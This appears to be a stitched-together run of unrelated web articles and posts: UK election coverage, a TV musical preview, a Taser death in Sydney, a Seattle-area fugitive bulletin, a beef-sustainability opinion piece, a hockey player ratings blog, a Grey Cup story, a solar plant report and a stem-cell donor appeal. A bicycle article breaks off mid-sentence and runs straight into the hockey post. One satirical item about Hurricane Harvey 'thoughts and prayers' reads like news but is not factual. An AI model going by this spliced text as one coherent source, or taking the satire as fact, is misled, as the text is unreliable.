We’d like to thank Mo for her sincerity in response and courage in creating this film. We wish you and Alexandria all the best in funding and producing this story.
To learn more or contribute to Frame By Frame’s Kickstarter campaign, visit this link.
We’ll leave readers with a quote from another subject of the documentary, Pulitzer Prize winning photographer Massoud Hossaini, that exemplifies one possible outcome:
“When the foreigners leave Afghanistan, it will be a difficult life for me. If the worst happens, that I cannot get my camera, and I cannot work in the country, and I cannot write, I cannot talk, I cannot watch movies, for sure I will have to think about things.”“Global Research is the leading research source on the fundamental issues of war and peace, imperialism and resistance, on the financial crises and the alternatives… Prof Chossudovsky has provided a forum for cutting edge critical essays which challenge the principle pundits of the mass media.”
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I had a mini-melt down at work today when my husband told me that we couldn't afford to get the border collie pup I'd been looking forward to picking up next week due to some unexpected bills. I work a ton of hours to support our family (my husband is a stay at home Dad for our 4 kids) and it hit me hard. I came home in a sour mood and saw the box waiting for me.
Needless to say the kindness shown from this stranger brought me to tears. To thank me for being awesome and working hard was just so touching!!!
I would agree, we do seem to have very similar interests! I'm glad you had fun pulling this gift together. You seriously have no idea how much it means to me. I really am blown away by your thoughtfulness, generosity and kindness. I wish I had a way to thank you and show you my gratitude (more than just saying it here).
Thank you, thank you, thank you so much. /hugs to you Summer Santa. All the trophies for you!
Enjoy the pictures! It's the least I could do to show you my gratitude :)Theresa May has accused the Scottish National Party of seeking to “disrupt” her attempts to win the general election.
Making her first appearance in Scotland of the election campaign so far, she told an audience of party activists in a barn in Aberdeenshire: “Every vote for me and my team strengthens my hand in the Brexit negotiations.”
She said the SNP wanted “to disrupt our Brexit negotiations, undermine the task ahead, stop us from taking Britain forward.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
“They want to disrupt our Brexit negotiations by disrupting this election.”
As she did so, French President François Hollande told reporters in Brussels: “I understand the electoral argument, but it will not influence the EU. The EU’s principles and the objectives are already fixed, these will be the lines chosen by negotiators.”
The Prime Minister repeated previous campaign speeches, telling the small crowd: “Give me the mandate to lead Britain, give me the mandate to speak for Britain, give me the mandate to fight for Britain and give me the mandate to deliver for Britain.”
She added: “My message to the people of Scotland is clear – every vote for me and my team will strengthen my hand in the Brexit negotiations.
“That will strengthen the Union, strengthen the economy and the UK and Scotland together will flourish because if Scotland is flourishing the rest of the United Kingdom is flourishing too.
“That’s really important because as Prime Minister of the United Kingdom, I want to see every part of our country succeed.”
The Prime Minister has previously refused to grant Scottish First Minister Nicola Sturgeon’s request for a second referendum on independence for Scotland.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now.Better start warming up those vocal cords, Oncers!
Production of the highly anticipated musical episode of Once Upon a Time is well underway and executive producers Adam Horowitz and Eddy Kitsis are spilling exclusive new details to ET about what fans can expect when our favorite characters step into the spotlight.
Read on for inside scoop on how this episode will be a "huge part" of Once Upon a Time's mythology, the many romantic "surprises" in store for fans, and if Colin O'Donoghue will be singing!
EXCLUSIVE: 'Once Upon a Time' Bosses Spill on Captain Swan's Domestic Bliss
"We actually started [planning] this around September," Kitsis explained to ET over the phone last Friday. "There are these two composers that we met, Alan Zachary and Michael Weiner, who are big fans of the show, and ABC put us together with them because a musical is the one thing and the one request that fans have been asking for for six seasons."
"It's something we're very excited about and we've been working on for a long time," Horowitz concurred. "What we've also worked really hard to do is make this musical a part of the show, so it's not just like a one-off episode or it's not just like a stand-alone [special]."
You hear that, Oncers? The musical episode is not going to be some kind of a dream sequence or an alternate reality. It's going to be a "real Once Upon a Time episode" and a key part in progressing the storyline of the series forward.
EXCLUSIVE: 'Once Upon a Time' Scoop: Eion Bailey Will Return as Pinocchio to 'Save the Day'
ABC
"It actually is a huge part of the mythology of the show and there are some big things that happen in the episode," Hororwitz revealed. "Frankly, it's been one of the challenges of doing the musical because we never wanted to do something where it was just like a to-the-side, one-off thing, and then get back to the main story. We want to see it part of the main story, which meant we had to really plan out this season with some great detail."
Kitsis added, "And what's fun about it is it's the penultimate episode [of season six,] so the musical actually kicks us off into the finale."
The musical, which begins shooting later this week in Vancouver, Canada, will feature seven songs including a solo from Jennifer Morrison's Emma. But here's the big question we wanted to know: Will O'Donoghue's Killian also be lending his singing voice to the set list?
"Colin will be singing," Horowitz confirmed.
(Deep breaths, y'all.)
EXCLUSIVE: 'Once Upon a Time' Star Colin O'Donoghue Plans Ultimate Captain Swan Proposal
There were no details provided as to what exactly O'Donoghue will be singing, but when asked if a duet between Emma and Killian is something the fans can expect to see in the musical, the EPs were coy with their responses. "We want to keep some surprises for the fans," Horowitz shared.
"Yeah, but I would say this," Kitsis continued. "If you were watching a Once musical, we approached it like a fan. What would the fans want to see and who would they want to see sing?"
"Well, you know you never know," he teased when we pointed out that many fans would love to see a Captain Swan song in the mix. "It's a show about hope, Leanne, and if you have enough of it, it might happen!"
ABC
As for Emma and Killian's future, fans will be pleased to know that this second half of season six will "absolutely" feature many more romantic moments between The Savior and her swashbuckling leading man.
"What I can tease is that this second half will, probably, have the most romantic moment between those two in the six seasons of the show," Kitsis dished.
(Remember to breathe!)
MORE: 'Once Upon a Time' Romance Rundown: Here's What's Next for All the Couples in Season 6!
Many fans almost lost their minds when an engagement ring was featured in Once's midseason trailer, so we're curious to know if Killian might be finally be popping the question to Emma?
"At the end of the fall run of episodes, we teased that there was a ring," Horowitz established. To which Kitsis added, "So somebody's going to get it."
"But to be fair, Henry did just take Violet to the dance, so we don’t know," Kitsis quipped with a laugh.
New episodes of Once Upon a Time return this Sunday, March 5 at 8 p.m. ET/PT on ABC.
How are you feeling, Oncers? Are you excited that Colin O'Donoghue will be singing in the musical episode? Do you think a Captain Swan proposal is in our near future? Share your thoughts with @LeanneAguilera on Twitter!epic.LAN - Fun UK LAN Gaming at its Best
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Dates: Thursday 19th - Sunday 22nd July 2012 Venue: Uttoxeter Racecourse, Wood Lane, Uttoxeter, Staffordshire. ST14 8BD
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Where are the f****** toilets (Bicko, Jay, Vertigo, Elsie, Gunmens, Saboo, Draken) - 95 points
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Mensa (Methix, Rezza, Stewie, Tom's Mum, ptER, Rab) - 84 pointsTHE uncle of Brazilian student Roberto Laudisio Curti, who died after being Tasered by police in Sydney, says the notion that his nephew was a thief or may have had a pre-existing health condition was inconceivable.
Joao Eduardo Laudisio, a financier from a well-known and powerful family in Brazil, hit at NSW police as the family hired a team of Australian investigators to find out how the 21-year-old student died.
"He has money for everything he wants," said Mr Laudisio, who helped raise Roberto after Roberto's parents died from cancer.
He said he had personally taken Roberto for a thorough health check before Roberto left for Australia last year. Doctors at the hospital, one of the best in South America, had declared him "very healthy".
Roberto had no pre-existing condition that could have been aggravated by Taser jolts or capsicum spray.
At least three police officers fired their stun guns at the unarmed 21-year-old student early on Sunday morning. He stopped breathing soon after he was stunned and hit with capsicum spray.
CCTV footage from Sunday showed up to six officers chasing Roberto. Police said he matched the description of a man they claimed stole a packet of biscuits from a convenience store.
PROTEST PLANNED
Friends of Roberto, who came to Sydney to learn English and experience Australian life, have planned a protest outside the Australian consulate in Sao Paulo on March 30. They said they plan to dump biscuits at the consulate gates.
DFAT has asked for a briefing and Brazilian consulate officials in Sydney confirmed his family was "extremely wealthy and well connected" and would not let the matter rest.
"They own corporations, financial companies and are involved in the stockmarket," the official said.
"I know they are most disturbed at what has happened and are talking to lawyers. The young man was living with his sister and her husband in Sydney. She is extremely upset at what has happened."
Joao Eduardo Laudisio said reports that Roberto had stolen biscuits were wrong.
"I don’t understand why newspapers put that he is a robber," he said. Roberto was an educated young man who was not desperate in any way.
He also dismissed reports that family members were on the way to Australia, saying that Roberto’s Sydney-based sister, Ana Luisa Laudisio, was handling matters for the family.
'HOW DID THIS HAPPEN?'
Ms Laudisio works with an international financial and legal consultancy firm DC Strategy in Sydney. Her Australian-born husband holds a prominent position in the banking industry. Neither would comment on the case yesterday.
However, a statement released from the family said: "We are still coming to terms with the sudden and unexpected loss of our beloved Roberto following his tragic death on Sunday morning... He was a young man who was much loved by family and his many friends, both in Australia and Brazil, and had a promising future ahead of him. We will all miss him immensely."
Andre Costa, the Brazilian consul in Sydney, told the ABC yesterday: "(Roberto) went out just for fun like any other young male on Saturday night and that happened to him, so the family cannot understand it at all.
"They want to know exactly what happened to this young man, that he was so healthy and a good student, studying at a very good university in Brazil."
A Sydney based friend said: "Roberto's best friend at home is Enrico De La Lastra, the son of the Formula One driver. Enrico was upset when he told her of his death. Everyone is looking for an explanation".
Roberto's death comes almost seven years after another high-profile shooting of a Brazilian overseas.
Jean Charles de Menezes was shot in the head seven times at a London tube station by the police the day after terrorist struck the city.
KILLED OVER BISCUITS
Police had mistaken him for one of the terrorists involved in the bombings but the shooting became controversial because police statements made in the immediate aftermath tried to characterise Mr De Menezes's behaviour on the day as erratic and suspicious.
Roberto studied English at a language school in Bondi Junction and was known to sometimes stay with friends in the beach suburb. He is believed to have come to Australia in the past few months after losing both his parents to cancer but his visa had expired.
His friends have started a website calling for protest action at the Australian consulate in Sao Paulo: "In solidarity with our friend Roberto Laudisio, killed by police in Australia, for an apparent robbery of a packet of biscuits.
We are asking all our friends, and whoever else, to join in a minute of silence at the door of the Australian consulate... We suggest we all take a pack of biscuits and leave them on the door of the consulate."
Goran Nuhich, speaking for the Australian Embassy in Brasilia, said he was aware of plans for a protest.
"We'll take necessary measures to protect the consulate," he said, adding that he expected the protest would more be in the manner of a vigil than a show of violence.FUGITIVE CAPTURED October 15, 2015 —
Lynnwood Police Special Operations Section and K-9 teams arrested Kevin Vaughn in Everett on Thursday.
Vaughn is charged with Burglary in the 2nd Degree, Theft of Motor Vehicle and Taking Motor Vehicle Without Permission in the Second Degree.
FUGITIVE UPDATE September 3, 2015 —
Kevin Vaughn has been charged in King County with Burglary in the 2nd Degree, Theft of Motor Vehicle and Taking Motor Vehicle Without Permission in the Second Degree.
Seattle Police say he and Joseph Campbell stole a Honda motorcycle from an apartment building on NE Northgate Way on July 29th. That was 2 days after he appeared in court for a pending charge of Possession of a Stolen Vehicle. Detectives say they also stole a Honda Accord the same day. Renton Police found the stolen motorcycle stripped on Monday, September 3rd.
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Vaughn has had 19 warrants since 2007, including a current DOC felony warrant.
His criminal history includes Eluding in 2010, Possession of a Stolen Vehicle in 2010, Theft of a Motor Vehicle, Burglary 2 and Possession of Stolen Property in 2007, Unlawful Possession of a Firearm in 2006, Assault 4 in 2005 and Dangerous Weapon on School Premises in 2003.
Prosecutors requested a $150,000 bail.
CLICK HERE to see the video of Vaughn and Campbell that I ran on WMW last month.
FUGITIVE WANTED IN TUKWILA August 27, 2015 --
While serving a search warrant at a home in Tukwila, police say two men on motorcycles fired at least seven shots at officers and took off.
Officers were searching for stolen vehicles at a home that they say is frequented by members of the Resurrection motorcycle "gang".
An attorney for Resurrection disputes the police description, saying Resurrection is a ‘club’ and not a ‘gang’.
Police Cmdr. Eric Drever said, "There is probably nothing that you can do to prevent an ambush similar to what this was. I would consider this an ambush."
Police say no one was hurt during the shooting.
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Officers say the bikers sped away southbound on I-5. One motorcycle was green and the other was gray.
Officers believe Kevin Vaughn may have been involved. Vaughn is a 12-time felon with the word 'hatred' tattooed on his forehead.
The attorney for Resurrection also disputes that Kevin Vaughn is a member of Resurrection Motorcycle Club.
The shots woke Amanda Huber and her two children Thursday morning.
"This is new to me and my kids are freaking out. It’s not OK," she said.
Huber won't let her children play in front of the home because of the biker gang.
"I don’t know what to say. They’re just scared. Obviously, they know what gunfire sounds like but to actually hear it in real life, they’re freaked out," Huber said.
Police say Vaughn should be considered armed and dangerous.
If you know where he's hiding, call an anonymous tip into:
CRIME STOPPERS: 1-800-222-TIPS
You must call the Crime Stoppers hotline with your tip to be eligible to receive a cash reward for information leading to a fugitive’s arrest.
CLICK HERE for information on how to TEXT A TIP to Crime Stoppers.48.3k SHARES Share Tweet
TEXAS – The latest report from the front lines of Hurricane Harvey is that just over 11,500 more thoughts and prayers are needed for the victims to be okay.
“We have received many thoughts and prayers from throughout the country and the world, most of which have been great,” explains FEMA member Frank Costello. “We get the occasional strange or dirty thought that seeps through, but mostly they have been very positive and helpful. So far, there just haven’t been quite enough.”
Numerous other efforts are being made by people including changing their profile picture on social media to a Texas flag as well as many hashtags dedicated to the event.
The President himself even went so far as to say “Good Luck” which we are told resonated very well with the people in the hurricane’s path.
“The sentiment from The President was so thoughtful and heartfelt that it really lifted our spirits,” said one Rockport, Texas resident. “The fact that he took the time out of his busy golfing schedule to think about us was really touching.”
FEMA and the governor of Texas are urging anyone to send their thoughts and prayers to help with the impending devastation.
“The most helpful thing people can do in a situation like this is to let others know, through social media, that they are thinking and praying for us,” said the governor. “We’re so close to reaching the required amount of thoughts and prayers to fix this, so please keep them coming.”
The Science Post sends their thoughts and prayers to the victims of Hurricane Harvey.Visit our Re-post guidelines This article is copyrighted by GreenMedInfo LLC, 2015
The U.S. Government is updating their dietary guidelines and it's good news for our planet. For the first time, sustainability will be included as a recommendation within the guidelines, and Big Beef is not pleased. Is a multi billion dollar industry worth the environmental impact? To get the real truth about how what you eat impacts your health and your planet, join the top leading food experts in the Food Revolution Summit broadcasting worldwide April 25th to May 3rd.
Big beef is having a cow over this.
The USDA and the US Department of Health & Human Services are updating their dietary guidelines, as they do every 5 years.
But this time, as far Big Beef is concerned, something has gone terribly wrong.
It all started innocently enough, when the 2015 Dietary Guidelines for Americans Committee decided to recommend that the guidelines include, for the first time, sustainability in their recommendations. If the U.S. government did indeed recommend food that is good for both our health and the environment, the impact would be felt in schools and other government facilities across the country – and across our entire food system. It might also be good for the future of our planet.
Why? Because livestock production, and most especially industrialized beef production, is responsible for 15% of global carbon emissions. Halve your meat intake, and you could cut your diet-driven carbon footprint by more than 35 percent. Go vegan, and the difference could be 60%.
In drought-ravaged California, water is part of any sustainability equation. And here again, the livestock industry is not happy with the data. A quarter of the state's entire water budget is used to produce meat and dairy. Stunningly, California's livestock industry uses more water than all the homes, businesses and government in the state combined. And even with all that water, California still imports most of the meat consumed in the state.
One thing California exports is Alfalfa. And alfalfa is a thirsty crop. California, it turns out, exports more than 100 billion gallons of water per year in the form of alfalfa to countries like China, who use it for livestock feed. How much sense does it make, in a state that is facing a devastating water crisis, to in effect ship away more than three times enough water to meet the needs of every household in the city of San Francisco, so China can eat more beef?
Want to conserve water? Since it takes 1,799 gallons of water to produce a single pound of grain-fed beef, it is apparent even to the meat industry that, if you want to save water, reducing industrialized beef consumption could be the most powerful single step you can take.
Meat consumption in the United States has already fallen by more than 15% in the last 10 years. But in January, the Washington Post said that including sustainability in dietary guidelines could be the meat industry's worst nightmare. An article on Nasdaq.com titled "How The 'Death Of Meat' Could Impact Your Portfolio" urged investors to think twice about holding long positions in meat industry stocks, stating that "investors shouldn't underestimate the potential effect of this on the meat industry."
And sure enough, when the 2015 Dietary Guidelines for Americans Committee released its recommendations on February 19, the committee stated that:
"Consistent evidence indicates that... a dietary pattern that is higher in plant-based foods... and lower in animal-based foods is more health promoting and is associated with lesser environmental impact (GHG emissions and energy, land, and water use)."
The industry, of course, isn't taking all this lying down. Not with hundreds of billions of dollars on the line. A recent headline on FOX News reads, "Beef producers say Obama is trying to kill their industry."
The North American Meat Institute and National Cattlemen's Beef Association have each issued statements denouncing any suggestion that environmental impact should dictate dietary guidelines. Having apparently decided that any attempt to convince researchers that meat was environmentally benign would be fruitless, they are now trying to assert that the committee has overstepped its bounds.
While the dietary guidelines committee was charged specifically with looking at food and health, there is a decidedly strong rationale for including sustainability in the picture. Our environment does, after all, dramatically impact our health — as well as our ability to grow the food we need to provide for an expanding human population. In an increasingly hungry world, it matters a great deal that we use about 8 times as much land grown food for animals as we do to grow food for humans.
Between now and the fall, the USDA and the Department of Health & Human Services will be evaluating the committee's recommendations, and deciding how they'll actually translate into official government policy. The lobbyists will be out in full force, and there's no telling whether or not government officials will ultimately heed the recommendations of the independent experts on the committee they created. (To add your voice saying whether or not you think sustainability recommendations should be included in the report, submit a comment between now and May 8, here.)
Whatever the ultimate policy outcome, the environmental impact of our food choices is getting more attention than ever.
And while the industrialized beef industry might not like that one bit, it just might be good news for our planet.
Want to get the real truth and critical insights about how what you eat impacts your health and your world? Join Paul McCartney, Michael Pollan, Dr. Mark Hyman, Tony Robbins, Dr. Joel Furhman, and 20 more leading food experts in the Food Revolution Summit. You'll find out about how industry propaganda is misleading the public and sickening millions. And you'll discover what you can do to protect yourself, your loved ones, and your world. Find out more here.
Ocean Robbins is co-author of Voices of The Food Revolution, and serves as adjunct professor for Chapman University and CEO and co-host (with best-selling author John Robbins) of the 150,000+ member Food Revolution Network. He and his dad, bestselling author John Robbins, are hosting more than 100,000 people in this month's Food Revolution Summit. Find out more and sign up for no charge here.Summer's here and it's time to get back on the bike. We could have looked at a fancy new ultralight, but the NuVinci is the bike that's really going to shake things up. It answers a question you may not have thought to ask: what if you could pick up a new ride with a transmission that made sure you'll never be in the wrong gear?
A NuVinci bike effectively has an infinite number of gears. You can adjust it smoothly, without worrying about clicking into gears, to provide the precise right amount of resistance. You can start at a very low gear to pedal easily and then smoothly ramp up to a higher gear as you gain speed. And since everything is internal, repairs are rarely necessary. It's a revolution, really--one of the most fundamental changes to the bicycle in decades.
On a regular bicycle, the input force comes from your legs, turning the pedals, which in turn spin the chainring — the big toothed gear up front. A chain carries that force to the cogs connected to the hub in back, which in turn turns the rear wheel; the ratio between the number of teeth on the chainring and the number of teeth on the current cog determines what gear you're in. A "high" gear turns a big ring up front and a small cog in back--hard to pedal, but a lot of movement from each revolution. Reverse it and you get a "low" gear--easy to pedal, but not much movement.
But more often than not, there is no right gear for a given situation — fourth gear is too low, fifth too high, say. So why not |
th against the Panthers, Nov 20th against the Sharks, Nov 22nd against the Golden Knights, and Nov 24th against the Jets.
With Thanksgiving being this past Thursday, I wanted to build on my #brand of amazing food takes. This week I turn my attention to Thanksgiving food and plan to offend everyone. Like past weeks these rankings are 100% correct and no one can tell me other wise.
5 Stars: Mashed Potatoes/Yams with Maple Glaze/Mac and Cheese
Mmmmmmm. Mashed potatoes. They are a must have on Thanksgiving and are always delicious. I wanted to include a few of the other carbs also because these sides are what make Thanksgiving awesome.
John Gibson – John Gibson, yet again, had a great week. He stopped 128 of 137 shots over the week for a 0.934 sv% (last week he had a.936 sv% for reference) and he accumulated a 3.6 GSAA through the week. Like I said last week, this means if an average Goalie was in net instead of Gibson, the Ducks would have allowed 3.6 more goals against. That is kind of insane when you realize the team gave up 9 goals over the three games Gibson played. He had very little help this week, and was the only reason the Ducks beat the Panthers and were even close to Vegas. Gibson can go ahead and eat a plateful of these amazing 5-star sides for his 5-star performance.
Hampus Lindholm - I was not expecting to give anyone besides Gibson 5 stars due to the poor team performance during the week, but looking at the stats, Lindholm definitely had a 5 star performance. During a week filled with awful play, Lindholm was above 50% in CF% and was at 60.35% xGF% all while leading the team in TOI. If you want to nitpick, he had 8 giveaways, but that is a slightly subjective stat and does not outweigh the fact that he was above 60% in xGF% when only three players on the team were above 50%.
Josh Manson - He had a similar week to Lindholm, as expected, in CF% and xGF% and on top of that he had 2 breakaway goals and almost 2-3 more breakaway goals. That is definitely the top pairing on the team and helping to keep them afloat.
4 Stars: Turkey
The Thanksgiving staple. You cannot have a Thanksgiving meal without having turkey and oh man it is great. You can either go for the white meat if you want the slightly healthier option or go all out and get the more delicious dark meat. The only reason why Turkey is not 5 stars is because it can be screwed up. If the meat is too dry it can ruin the meal.
Corey Perry - Shot metrics wise, Perry was not that great this week (40% CF% and 48.21% xGF%) but his point production cannot be ignored. Perry put up a goal, 2 primary assists, and a secondary assist for 4 total points in 4 games. On top of that he was second on the team in shot attempts and individual xG. If someone who is actually good in their own zone and has some skill is allowed to center Perry and Rakell, that line could go off. #PerryisStillGood #TakeGrantofftheFirstLine
Rickard Rakell - I could copy exactly what I said for Perry if I wanted to and just insert Rakells stats and name and it would be correct. Eh why not lets do that: Shot metrics wise, Rakell was not that great this week (36% CF% and 41% xGF%) but his point production cannot be ignored. Rakell put up 2 goal and a secondary assist for 3 total points in 4 games. On top of that he was first on the team in shot attempts and individual xG. If someone who is actually good in their own zone and has some skill is allowed to center Perry and Rakell, that line could go off. #RakellisStillGood #TakeGrantofftheFirstLine. Ok the Rakell is still good bit probably won’t need to take off like the Perry one.
Andrew Cogliano - Cogliano gets a 4 star rating simply due to his shot metrics relative to the rest of the team. He was the only forward with an xGF% above 50% and essentially at 50% in CF%. He did not produce any points, but should be praised for his ability to drive play to the other teams end when no other forward could.
Brandon Montour - Montour was below 40% in CF% and was at 43% xGF%, but he also produced a goal, a primary assist, and a secondary assist. I would love to see his shot metrics come up in the following weeks, but his production cannot be ignored when evaluating him this week. He played a major part in both Ducks wins and scored one of the shootout goals against the Sharks.
3 Stars: Pumpkin Pie
I am a huge pumpkin pie fan, but, and its a big but, I have to be in the right mood for it. If I am not in that mood it is completely average and deserving of a 3 star rating.
Jakob Silfverberg - Silfverberg had a similar week to Cogliano but was slightly worse in both stats. He also took a pretty bad penalty that lead to the game tying goal against in San Jose. On a positive note he was third on the team in individual shot attempts. Silfverberg did not produce any points this week. He had a performance on par with pumpkin pie.
Nick Ritchie-Antoine Vermette-Kevin Roy - This line was pretty average this week for the team. They were below 50% in all of the main metrics, but did create some solid chances for the team. As a founding member of the Kevin Roy fan club, his play has been impressive relative to what I expected from him. This line will need to pick it up though or else they could drop down next week.
2 Stars: Stuffing
I almost put stuffing at 1 star because it really isn’t that great, but then I had some today and realized its bad, but not the worst thing available at Thanksgiving. I expect this will anger a lot of people, but whatevs. Stuffing is way overrated.
Cam Fowler - Fowler came back into the lineup this week, and as a pretty big Fowler fan it pains me to say he was not good. He was below 40% in both xGF% and CF%, which shows that he was trapped in his own end a bunch and gave up a lot of shots against. I would love to see the D pairs shifted to try and utilize him better.
Francois Beauchemin - Beauchemin had a really bad game against the Panthers, but made up for it with a pretty solid one against the Jets. If Beauchemin is used as the 6th or 7th D man moving forward, I am completely fine with that.
Derek Grant - Grant, as could be expected if you read Perry and Rakell’s summary, was pretty bad in shot metrics (38% CF% and 48% xGF%). On top of that he only had 1 point this week and it was a goal on the PP. It was a pretty nice tip and is what kept him from a 1 star rating. Grant was not able to poach even a secondary assist off of Perry and Rakell this week and I believe he is the big reason that line has been on the negative side of shot metrics. He is pretty poor in his own end and cannot break the puck out of the zone. #TakeGrantOffTheTopLine
Sami Vatanen - Sami had a pretty poor week shot metrics wise, but he did produce a fair amount of individual shot attempts in all situations. I struggled with whether to give Vatanen 2 or 1 stars, but it was his individual shot production that kept him from being as bad as cranberry sauce. Like with Fowler I think the D pairs can be adjusted to better utilize Vatanen.
1 Star: Cranberry Sauce
I don’t feel like I need to elaborate on this that much. The cranberry sauce used at Thanksgiving is usually a jello like substance that looks and tastes gross. If you need the cranberry sauce for you to enjoy thanksgiving turkey then something is either wrong with you or your turkey.
Chris Wagner - I am not quite sure how, but his shot metrics are significantly worse than his linemates this week. He was below 40% in both CF% and xGF%, which is no bueno when you lead all centers in TOI (Please come back Kesler and Getzlaf!).
Kevin Bieksa - Bieksa retains his position as 1 star for the third straight week. The only positive thing I can really say is Bieksa wasn’t on the ice for a goal against, but was one of the worst Ducks shot metrics wise. He was last on the team in CF% at 26.9% and third worst in xGF% at 18.09% (he was only above Liambas and Shaw in xGF%). To add on, the one game he did not play is the only game the Ducks allowed less than 40 SOG. There is not enough evidence to say that it is simply due to taking Bieksa out of the lineup, but it is interesting. Unlike Beauchemin, I want Bieksa to never touch the ice again for this team. Bieksa was as bad as cranberry sauce.
Mike Liambas - Even though Liambas did stuff on the ice I guess, this 1 star ranking is due to the fact that the Ducks are employing him even though he should not be allowed on a professional rink. I had zero clue about his history until I read the Hockey News article about him. If you have not read it, please check it out. He has, over his non pro career, sent a 16 year old kid to the ICU with a predatory hit resulting in him getting suspended for essentially the rest of the OHL season, ruptured an opponents spleen with a dirty hit resulting in a 5 game suspension in the International Hockey League, and sucker punched and drove an opponent into the ice in Canadian University Hockey resulting in a 4 game suspension along with a review that led to him leaving school and going to the ECHL. I am all for giving a guy a second chance if he has messed up, but this is now Liambas’ 4th chance and he in no way has earned it. Please get him off the team!
Dennis Rasmussen - Rasmussen had an alright week in terms of CF% at 41.67% but the quality of chances against is what brings him down to a 1 star performance. His xGF% was 20.23% which is pretty bad.
Logan Shaw - Shaw appears again in the 1 star rating for the second straight week. He was really really really bad this week if you look at shot quality. He had an xGF% of 8.24%. Yes you read that right, 8.24. When Shaw was on the ice the Ducks were expected to score 0.21 goals and allow 2.34 goals. Having that bad of an expected goals against is kind of impressive seeing as he only played 23 minutes at ES through the week.
Unranked (My cut off to be ranked is having played in over half the games that week for skaters and started half the games for Goalies):
Korbinian Holzer (1 Game Played) and Reto Berra (1 Game Played)
*All stats are from Corsica unless stated otherwise.Wednesday’s keeper of the Grey Cup shared it with family and friends on his home turf at the St. Albert Rugby Football Club.
“To be able to bring it down here is a pretty cool feeling. I don’t know how to describe it. It’s just neat,” said Graeme Scott, the assistant equipment manager for the Edmonton Eskimos and St. Albert rugby player.
Football fans huddled up inside the SARFC clubhouse for selfies and group pictures with the Grey Cup.
There were others who chugged beer out of the CFL championship trophy that was commissioned by Albert Grey, the Governor General of Canada from 1904 to 1911. Grey originally planned to donate it for the country’s senior amateur hockey championship but the Allan Cup was later donated for that purpose.
Instead, Grey made his trophy available to the Canadian Rugby Union in 1909 to recognize the top amateur rugby football team in Canada.
“I thought this was the right place to bring it to,” said Scott, a slippery scrumhalf. “You can bring some children down or you can bring your friends or any age group. You can have a drink if you want or you can just take your photo and then you can zip out or you can stay and share some stories.
“It’s a great place.”
It was a dream come true for Scott to experience the thrill of victory with the Eskimos.
“It’s a pretty surreal feeling. When you grow up watching football you kind of think, wow, this must be pretty cool to win something of that magnitude when you watch the game.”
The Paul Kane High School alumnus savoured the magnitude of the moment at the 103rd Grey Cup, when the Eskimos defeated the Ottawa RedBlacks 26-20 in Winnipeg for the team’s first championship since 2005 and 14th in franchise history.
“I got to touch the Grey Cup once the players started enjoying their time with it and had the champagne before heading towards the showers to wash off some of the champagne,” Scott said of the post-game dressing room celebration.
“I was kind of thinking it would be important to make sure that we clean up first because obviously at the end of each road trip our job is to clean up,” he added. “I wasn’t sure on how responsible the players would be, being that they just won such a big event, but the players were actually awesome. They helped us out a ton and credit to Winnipeg’s equipment manager; he kind of helped us out that week and he made sure that we were all OK.”
This is Scott’s second full season as one of the unsung heroes on the Eskimos.
“I work inside the dressing room and I help the players with any gear issues that they might have problems with. I make sure the coaches are happy and bring whatever equipment they might need on the field, like pylons, cones, bags, you name it,” he said. “I also make sure the players are happy with all the gloves or equipment issues that might come up.”
Ten- to 14-hour workdays are not uncommon during the football season.
“When you sign up you know what you’re going to get. You know that you’re going to have some really long evenings and it’s all worth it once you come home and get to bring the Grey Cup,” Scott said. “In the off-season it’s a little bit of inventory and that type of thing so it’s not quite as long of hours. Obviously there are fewer players in town but there are still players in every day so we’re doing laundry and stuff like that.”
One of the perks of the job is the sideline view of the game.
“I have one of the best seats in the house. As long as there is no equipment malfunctions or unforeseen circumstances, I just get to watch the game and enjoy it.”Take 300,000 computer-controlled mirrors, each 7 feet high and 10 feet wide. Control them with computers to focus the Sun’s light to the top of 459-feet towers, where water is turned to steam to power turbines. Bingo: you have the world’s biggest solar power plant, the Ivanpah Solar Electric Generating System.
Long-mired by regulatory issues and legal tangles, the enormous solar plant–jointly-owned by NRG Energy, BrightSource Energy and Google–, opened for business today.
From the official news release:
The Ivanpah Solar Electric Generating System is now operational and delivering solar electricity to California customers. At full capacity, the facility’s trio of 450-foot high towers produces a gross total of 392 megawatts (MW) of solar power, enough electricity to provide 140,000 California homes with clean energy and avoid 400,000 metric tons of carbon dioxide per year, equal to removing 72,000 vehicles off the road.
Sprawling across a staggering 5 square miles of federal land near the California-Nevada border, it looks damn beautiful. Just look at these amazing images:
Photos: BrightSource Energy, Inc.
Credits: GizmodoAaryan Dinh-Ali — a 10-year-old boy who loves video games and the Toronto Blue Jays — has been diagnosed with a blood condition so rare it strikes as few as two out of one million people every year worldwide.
Aaryan has aplastic anemia. There is no cure, but a stem cell transplant could save his life. He just needs to find the right donor.
"He's a beautiful and intelligent boy and he doesn't deserve this," his mother Jenny Dinh told CBC News.
Aaryan's body isn't producing blood cells, leaving him vulnerable to infection and uncontrolled bleeding. On Dec. 20, he suffered from internal hemorrhaging that sent him to The Hospital for Sick Children. He's been there since.
Jenny Dinh, Aaryan's mother, says her son is a beautiful and intelligent boy who does not deserve to suffer. (CBC) "They were able to stabilize him within 36 hours," Dinh said. "So 36 hours of constant blood transfusions, constant steroids, constant care."
Aaryan told CBC News he just wants to go home.
His best chance is a stem cell transplant. But his rare genetic heritage — he has an Afghan father and Vietnamese mother — makes finding a donor difficult.
"Each ancestral group has different genetic markers so, of course, when you have two parents who are from a different ancestry it makes it much more of a challenge," Dena Mercer, a spokeswoman for OneMatch stem cell and marrow network at Canadian Blood Services, told CBC News.
Seeking Middle Eastern, Asian donors
The Caledon boy has huge support network of doctors, nurses, friends, family who have launched a campaign to find a stem cell match to save his life.
They are targeting people with Middle Eastern and Asian ethnicities, especially Vietnamese, Afghan and Central Asian.
"For every person that we can get to register, it's a chance for Aaryan or it's a chance for somebody else," Dinh said. "It's a gift of life that any living human being could provide."
Khalid Ali says his family is grateful to everyone who has come out to be tested as a possible donor for for his son. (CBC) Registration drives have been held for Aaryan in Toronto, Vancouver and the United States. His family and friends have also made appeals through ethnic media.
"It's such a rare condition. As parents, we didn't know anything about this so we need to educate, we need to get this out there," Aaryan's father Khalid Ali said.
Testing for possible donors involves a simple cheek swab. Anyone who wants to be tested is encouraged to visit www.match4aary.com and register. Ali said the family is grateful to everyone who has already come forward.
In the meantime, they have vowed to keep fighting.
